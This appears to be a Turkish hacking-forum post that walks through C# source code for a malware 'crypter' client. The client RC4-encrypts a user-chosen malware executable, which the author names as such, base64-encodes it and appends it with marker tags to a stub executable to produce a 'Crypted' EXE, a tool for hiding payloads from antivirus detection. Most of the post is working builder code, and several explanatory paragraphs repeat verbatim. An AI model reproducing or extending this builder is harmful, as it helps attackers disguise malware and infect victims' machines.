Selam bugün basit sayılabilecek RC4 şifrelemesi ile bir Crypter Client'i yazacağız.
Stub yazma mantığını hala bilmediğim için maalesef gösteremiyorum.
Bilenler benide aydınlatır belki
Neyse konuya geçelim.
Kullanacağımız kütüphaneler;
Kodlamaya geçelim ilk olarak RC4 şifreleme işlemini yapacağız.
Encoding.ASCII.GetBytes(Keys) ile verilen anahtar (Keys) ASCII karakterlerine dönüştürülür ve bytes dizisine kaydedilir.
array adlı 256 elemanlı bir dizi oluşturulur ve bu dizi 0'dan 255'e kadar olan sayılarla doldurulur.
array dizisi verilen anahtar ve önceden hazırlanan bytes dizisi ile karıştırılır.
Bu karıştırma işlemi RC4'ün temel adımlarından biridir ve her bir bayt için num değeri güncellenerek gerçekleştirilir.
num = (num + (int)bytes[i % bytes.Length] + array & 255); kodu bu işlemi yapmaktadır.
Şifreleme ya da şifre çözme işlemi array2 dizisinde gerçekleştirilir.
Bu dizinin her elemanı RC4 algoritmasının karmaşık hesaplamalarından çıkan sonuçlarla XOR işlemine tabi tutulur.
Şifreleme işlemi için XOR, array2[j] = Convert.ToByte((int)Input[j] ^ array[array + array[num] & 255]); satırıyla yapılır.
Random string oluşturuyoruz.
Bu kod EXE seçmek içindir yani Malware yazılım seçmek için aynısından birtane daha altına yazıp onunda adını Stub yapıyoruz.
Burada göstermeyeyim konu uzamasın aynısı hiçbir değişiklik olmadan.
Burada RANDOM STRİNG için animasyon veriyoruz.
Zor bir kısım mantığını bende hala tamı tamına anlamadım fakat size ufaktan bir özet geçeyim;
SaveFileDialog kullanarak kullanıcıya şifreli dosyasını kaydetmesi için bir pencere açılır varsayılan dosya adı "Crypted" ve filtre .EXE olarak ayarlanır.
Eğer textBox1 veya textBox2 boşsa bir hata mesajı gösterilir yoksa işlem devam eder.
Eğer hedef dosya zaten varsa bu dosya önce silinir.
textBox1'deki dosya verisi RC4 algoritmasıyla şifrelenir şifrelenen veriler textBox2'deki dosyaya eklenir ve sonrasında kaydedilecek dosyaya yazılır.
Şifreli veri ile birlikte bazı özel etiketler ("[~0d52c3863abbf874dfd32c38632c3863abb4abbf8052c3863abbf801dabc32b~]") ve textBox3, Dz1, Dz2 gibi ekstra bilgiler dosyaya eklenir.
İşlem başarılıysa kullanıcıya "Başarılı Bir Şekilde Şifrelendi" mesajı gösterilir.
Şimdi arayüz kodlarını veriyorum arayüz konusunda fazla iyi değilim o yüzden sadece kodları vereceğim.
Arayüzden çokta anlamıyorum o yüzden detaylı anlatamayacağım burada neyse kodlar bu kadar şimdi biraz konuşalım.
Her Crypter böyle olmaz mesela VB6 ile yapılanlarda Stub bağlantısı farklı oluyor aynı dizindeki Stub dosyasından işlem yapıyor.
Bu değiştirilebilir elbette bu Client'te istenilen bir Stub seçilerek işlem yapılıyor.
Stub mantığını hala anlamış değilim yani Paylaod mı Stub içine gömülüyor yoksa Stub mı onun içine bilmiyorum.
Payload'ı nasıl çalıştırıyor onuda pek bilmiyorum bilen birisi benide aydınlatabilir.
Eksik veya hatalı kısımlar varsa yazarsanız sevinirim.
Neyse fazla uzatmayayım konu bu kadar İYİ FORUMLAR !
Stub yazma mantığını hala bilmediğim için maalesef gösteremiyorum.
Bilenler benide aydınlatır belki
Neyse konuya geçelim.
Kullanacağımız kütüphaneler;
C#:
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Client.Properties;
Kodlamaya geçelim ilk olarak RC4 şifreleme işlemini yapacağız.
C#:
namespace Client
{
public class Form1 : Form
{
public Form1()
{
this.InitializeComponent();
}
public byte[] RC4cryptedd(byte[] Input, string Keys)
{
byte[] bytes = Encoding.ASCII.GetBytes(Keys);
int num = 0;
int[] array = new int[256];
byte[] array2 = new byte[Input.Length - 1 + 1];
int i;
for (i = 0; i <= 255; i++)
{
array[i] = i;
}
for (i = 0; i <= 255; i++)
{
num = (num + (int)bytes[i % bytes.Length] + array[i] & 255);
int num2 = array[i];
array[i] = array[num];
array[num] = num2;
}
i = 0;
num = 0;
for (int j = 0; j <= array2.Length - 1; j++)
{
i = (i + 1 & 255);
num = (num + array[i] & 255);
int num2 = array[i];
array[i] = array[num];
array[num] = num2;
array2[j] = Convert.ToByte((int)Input[j] ^ array[array[i] + array[num] & 255]);
}
return array2;
}
Encoding.ASCII.GetBytes(Keys) ile verilen anahtar (Keys) ASCII karakterlerine dönüştürülür ve bytes dizisine kaydedilir.
array adlı 256 elemanlı bir dizi oluşturulur ve bu dizi 0'dan 255'e kadar olan sayılarla doldurulur.
array dizisi verilen anahtar ve önceden hazırlanan bytes dizisi ile karıştırılır.
Bu karıştırma işlemi RC4'ün temel adımlarından biridir ve her bir bayt için num değeri güncellenerek gerçekleştirilir.
num = (num + (int)bytes[i % bytes.Length] + array & 255); kodu bu işlemi yapmaktadır.
Şifreleme ya da şifre çözme işlemi array2 dizisinde gerçekleştirilir.
Bu dizinin her elemanı RC4 algoritmasının karmaşık hesaplamalarından çıkan sonuçlarla XOR işlemine tabi tutulur.
Şifreleme işlemi için XOR, array2[j] = Convert.ToByte((int)Input[j] ^ array[array + array[num] & 255]); satırıyla yapılır.
C#:
{
string text = "ABCDEFG{}^Ç:><?}{|'''''/;.~][´=HIJKLMNO!@#$%¨&*()_+`{}^Ç:><?}{|'''''/;.~][´=-PQRSTUVWXYZ0123456789";
Random random = new Random();
StringBuilder stringBuilder = new StringBuilder();
for (int i = 1; i <= lenght; i++)
{
int startIndex = random.Next(0, 55);
stringBuilder.Append(text.Substring(startIndex, 1));
}
return stringBuilder.ToString();
}
Random string oluşturuyoruz.
C#:
private void openFileDialog1_FileOk(object sender, CancelEventArgs e)
{
}
private void button1_Click_1(object sender, EventArgs e)
{
this.openFileDialog1.FileName = "";
this.openFileDialog1.Filter = "Exeniz |*.exe";
this.openFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
if (this.openFileDialog1.ShowDialog(this) == DialogResult.OK)
{
this.textBox1.Text = this.openFileDialog1.FileName;
}
else
{
MessageBox.Show("İptal Edildi", "Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
}
}
Bu kod EXE seçmek içindir yani Malware yazılım seçmek için aynısından birtane daha altına yazıp onunda adını Stub yapıyoruz.
Burada göstermeyeyim konu uzamasın aynısı hiçbir değişiklik olmadan.
C#:
private void button4_Click_1(object sender, EventArgs e)
{
for (int i = 0; i <= 15; i++)
{
Thread.Sleep(19);
Application.DoEvents();
this.textBox3.Text = Form1.RandomString(30);
}
}
Burada RANDOM STRİNG için animasyon veriyoruz.
C#:
private void button3_Click_1(object sender, EventArgs e)
{
this.saveFileDialog1.FileName = "Crypted";
this.saveFileDialog1.Filter = "Save |*.Exe";
this.saveFileDialog1.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
if (this.saveFileDialog1.ShowDialog(this) == DialogResult.OK)
{
string fileName = this.saveFileDialog1.FileName;
if (this.textBox1.Text == ") || (this.textBox2.Text == ")
{
MessageBox.Show("Server Şifrelenirken Bir Hata Oluştu !", "Hata", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
else
{
try
{
if (File.Exists(this.saveFileDialog1.FileName))
{
File.SetAttributes(this.saveFileDialog1.FileName, FileAttributes.Normal);
File.Delete(this.saveFileDialog1.FileName);
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
string text = this.textBox1.Text;
string text2 = this.textBox2.Text;
string text3 = this.textBox3.Text;
byte[] inArray = this.RC4cryptedd(File.ReadAllBytes(text), "[~dabc32b63abbf874dfd32c38632c3863abb4abbf8052c3863abbf801dabc32b~]");
File.Copy(text2, fileName);
File.AppendAllText(fileName, string.Concat(new object[]
{
"[~0d52c3863abbf874dfd32c38632c3863abb4abbf8052c3863abbf801dabc32b~]",
Convert.ToBase64String(inArray),
"[~0d52c3863abbf874dfd32c38632c3863abb4abbf8052c3863abbf801dabc32b~]",
text3,
"[~0d52c3863abbf874dfd32c38632c3863abb4abbf8052c3863abbf801dabc32b~]",
this.Dz1,
"[~0d52c3863abbf874dfd32c38632c3863abb4abbf8052c3863abbf801dabc32b~]",
this.Dz2
}));
MessageBox.Show("Başarılı Bir Şekilde Şifrelendi", "Başarılı", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
}
}
else
{
MessageBox.Show("İptal Edildi", "Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
}
}
Zor bir kısım mantığını bende hala tamı tamına anlamadım fakat size ufaktan bir özet geçeyim;
SaveFileDialog kullanarak kullanıcıya şifreli dosyasını kaydetmesi için bir pencere açılır varsayılan dosya adı "Crypted" ve filtre .EXE olarak ayarlanır.
Eğer textBox1 veya textBox2 boşsa bir hata mesajı gösterilir yoksa işlem devam eder.
Eğer hedef dosya zaten varsa bu dosya önce silinir.
textBox1'deki dosya verisi RC4 algoritmasıyla şifrelenir şifrelenen veriler textBox2'deki dosyaya eklenir ve sonrasında kaydedilecek dosyaya yazılır.
Şifreli veri ile birlikte bazı özel etiketler ("[~0d52c3863abbf874dfd32c38632c3863abb4abbf8052c3863abbf801dabc32b~]") ve textBox3, Dz1, Dz2 gibi ekstra bilgiler dosyaya eklenir.
İşlem başarılıysa kullanıcıya "Başarılı Bir Şekilde Şifrelendi" mesajı gösterilir.
Şimdi arayüz kodlarını veriyorum arayüz konusunda fazla iyi değilim o yüzden sadece kodları vereceğim.
C#:
private void InitializeComponent()
{
this.button1 = new Button();
this.button2 = new Button();
this.button3 = new Button();
this.button4 = new Button();
this.textBox1 = new TextBox();
this.textBox2 = new TextBox();
this.textBox3 = new TextBox();
this.openFileDialog1 = new OpenFileDialog();
this.openFileDialog2 = new OpenFileDialog();
this.saveFileDialog1 = new SaveFileDialog();
this.label1 = new Label();
base.SuspendLayout();
// Button 1 settings
this.button1.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold | FontStyle.Italic, GraphicsUnit.Point, 162);
this.button1.Location = new Point(244, 300);
this.button1.Name = "button1";
this.button1.Size = new Size(75, 23);
this.button1.TabIndex = 0;
this.button1.Text = "EXE";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += this.button1_Click_1;
// Button 2 settings
this.button2.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold | FontStyle.Italic, GraphicsUnit.Point, 162);
this.button2.Location = new Point(244, 329);
this.button2.Name = "button2";
this.button2.Size = new Size(75, 23);
this.button2.TabIndex = 1;
this.button2.Text = "Stub";
this.button2.UseVisualStyleBackColor = true;
this.button2.Click += this.button2_Click_1;
// Button 3 settings
this.button3.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold | FontStyle.Italic, GraphicsUnit.Point, 162);
this.button3.Location = new Point(12, 389);
this.button3.Name = "button3";
this.button3.Size = new Size(307, 35);
this.button3.TabIndex = 2;
this.button3.Text = "Crypted";
this.button3.UseVisualStyleBackColor = true;
this.button3.Click += this.button3_Click_1;
// Button 4 settings
this.button4.Font = new Font("Microsoft Sans Serif", 9f, FontStyle.Bold | FontStyle.Italic, GraphicsUnit.Point, 162);
this.button4.Location = new Point(244, 360);
this.button4.Name = "button4";
this.button4.Size = new Size(75, 23);
this.button4.TabIndex = 3;
this.button4.Text = "Şifre";
this.button4.UseVisualStyleBackColor = true;
this.button4.Click += this.button4_Click_1;
// TextBox 1 settings
this.textBox1.Location = new Point(12, 302);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new Size(226, 20);
this.textBox1.TabIndex = 4;
// TextBox 2 settings
this.textBox2.Location = new Point(12, 329);
this.textBox2.Name = "textBox2";
this.textBox2.Size = new Size(226, 20);
this.textBox2.TabIndex = 5;
// TextBox 3 settings
this.textBox3.Location = new Point(12, 360);
this.textBox3.Name = "textBox3";
this.textBox3.Size = new Size(226, 20);
this.textBox3.TabIndex = 6;
// OpenFileDialog settings
this.openFileDialog1.FileName = "openFileDialog1";
this.openFileDialog1.FileOk += this.openFileDialog1_FileOk;
this.openFileDialog2.FileName = "openFileDialog2";
// Label settings
this.label1.AutoSize = true;
this.label1.Font = new Font("Microsoft Sans Serif", 6.75f, FontStyle.Bold, GraphicsUnit.Point, 162);
this.label1.Location = new Point(12, 436);
this.label1.Name = "label1";
this.label1.Size = new Size(292, 12);
this.label1.TabIndex = 8;
this.label1.Text = "Eğitim Amaçlı Crypter";
// Form settings
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = AutoScaleMode.Font;
base.ClientSize = new Size(339, 458);
base.Controls.Add(this.label1);
base.Controls.Add(this.textBox3);
base.Controls.Add(this.textBox2);
base.Controls.Add(this.textBox1);
base.Controls.Add(this.button4);
base.Controls.Add(this.button3);
base.Controls.Add(this.button2);
base.Controls.Add(this.button1);
this.MaximumSize = new Size(347, 485);
this.MinimumSize = new Size(347, 485);
base.Name = "Form1";
base.ShowIcon = false;
this.Text = "Crypter";
base.Load += this.Form1_Load;
base.ResumeLayout(false);
base.PerformLayout();
}
Arayüzden çokta anlamıyorum o yüzden detaylı anlatamayacağım burada neyse kodlar bu kadar şimdi biraz konuşalım.
Her Crypter böyle olmaz mesela VB6 ile yapılanlarda Stub bağlantısı farklı oluyor aynı dizindeki Stub dosyasından işlem yapıyor.
Bu değiştirilebilir elbette bu Client'te istenilen bir Stub seçilerek işlem yapılıyor.
Stub mantığını hala anlamış değilim yani Paylaod mı Stub içine gömülüyor yoksa Stub mı onun içine bilmiyorum.
Payload'ı nasıl çalıştırıyor onuda pek bilmiyorum bilen birisi benide aydınlatabilir.
Eksik veya hatalı kısımlar varsa yazarsanız sevinirim.
Neyse fazla uzatmayayım konu bu kadar İYİ FORUMLAR !
Son düzenleme:





